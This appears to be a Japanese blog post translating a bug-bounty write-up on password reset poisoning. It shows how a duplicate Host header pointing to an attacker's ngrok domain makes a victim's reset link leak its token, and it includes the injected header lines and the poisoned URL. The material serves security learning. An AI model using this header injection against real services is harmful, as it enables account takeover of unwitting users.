Shikata Ga Nai

Private? There is no such things.

Password Reset Poisoning leading to Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

アカウントの乗っ取りにつながるパスワードリセットポイズニングを。

 

脆弱性:

 パスワードリセットの欠陥

 アカウントの乗っ取り

 

記事:

 https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87

 

ツール:

 Burpsuite

 Ngrok

 

はじめに被害者のアカウントのパスワードのリセットをリクエストしてみることに。

同じリクエストをBurpでキャプチャし、転送する前にリクエストを編集して。

同じリクエストで、元のホストの下のリクエストに。

NgrokURLを含む別のホストヘッダを追加して送信することに。

 

 Host: account.*****.com

 Host: 6c00a5f2.ngrok.io

 

f:id:ThisIsOne:20211213230735p:plain

 

編集されたPOSTリクエストを送信した後、被害者はURLに。

ngrokドメイン(攻撃者が制御するドメイン)を持つ。

パスワードリセットリンクを受け取って。

下記が、被害者が受け取った攻撃者のURLを含むパスワードをリセットするリンクで。

 https://6c00a5f2.ngrok.io/en/cant-login?sbfpw=[パスワードリセットトークン]

 

f:id:ThisIsOne:20211213230709p:plain

 

そして、被害者が受信したリンクにアクセスするとすぐに。

攻撃者が制御するサーバにパスワードリセットトークンがリークされ。

下記は、攻撃者によって制御されているNgrokサーバで。

 

f:id:ThisIsOne:20211213230640p:plain

 

上記のように被害者のパスワードリセットトークンが。

攻撃者が制御するサーバにリークされ。

攻撃者はそれを使用してパスワードを変更して。

被害者のアカウント全体を乗っ取ることができて。

 

Best regards, (^^ゞ